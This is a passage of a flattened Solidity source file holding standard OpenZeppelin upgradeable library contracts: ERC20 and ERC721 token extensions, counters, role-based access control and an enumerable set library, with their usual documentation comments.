* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/extensions/[email protected]
pragma solidity ^0.8.0;
/**
* @title ERC721 Burnable Token
* @dev ERC721 Token that can be irreversibly burned (destroyed).
*/
abstract contract ERC721BurnableUpgradeable is Initializable, ContextUpgradeable, ERC721Upgradeable {
function __ERC721Burnable_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721Burnable_init_unchained();
}
function __ERC721Burnable_init_unchained() internal initializer {
}
/**
* @dev Burns `tokenId`. See {ERC721-_burn}.
*
* Requirements:
*
* - The caller must own `tokenId` or be an approved operator.
*/
function burn(uint256 tokenId) public virtual {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved");
_burn(tokenId);
}
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/utils/[email protected]
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library CountersUpgradeable {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File @openzeppelin/contracts-upgradeable/token/ERC20/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts-upgradeable/token/ERC20/extensions/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20MetadataUpgradeable is IERC20Upgradeable {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File @openzeppelin/contracts-upgradeable/token/ERC20/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
uint256[45] private __gap;
}
// File @openzeppelin/contracts-upgradeable/token/ERC20/extensions/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20BurnableUpgradeable is Initializable, ContextUpgradeable, ERC20Upgradeable {
function __ERC20Burnable_init() internal initializer {
__Context_init_unchained();
__ERC20Burnable_init_unchained();
}
function __ERC20Burnable_init_unchained() internal initializer {
}
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
_burn(account, amount);
}
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/token/ERC20/extensions/[email protected]
pragma solidity ^0.8.0;
/**
* @dev ERC20 token with pausable token transfers, minting and burning.
*
* Useful for scenarios such as preventing trades until the end of an evaluation
* period, or having an emergency switch for freezing all token transfers in the
* event of a large bug.
*/
abstract contract ERC20PausableUpgradeable is Initializable, ERC20Upgradeable, PausableUpgradeable {
function __ERC20Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
__ERC20Pausable_init_unchained();
}
function __ERC20Pausable_init_unchained() internal initializer {
}
/**
* @dev See {ERC20-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
require(!paused(), "ERC20Pausable: token transfer while paused");
}
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/access/[email protected]
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// File @openzeppelin/contracts-upgradeable/access/[email protected]
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
*/
interface IAccessControlEnumerableUpgradeable is IAccessControlUpgradeable {
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) external view returns (uint256);
}
// File @openzeppelin/contracts-upgradeable/access/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable {
function __AccessControl_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal initializer {
}
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
StringsUpgradeable.toHexString(uint160(account), 20),
" is missing role ",
StringsUpgradeable.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// File @openzeppelin/contracts-upgradeable/utils/structs/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSetUpgradeable {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
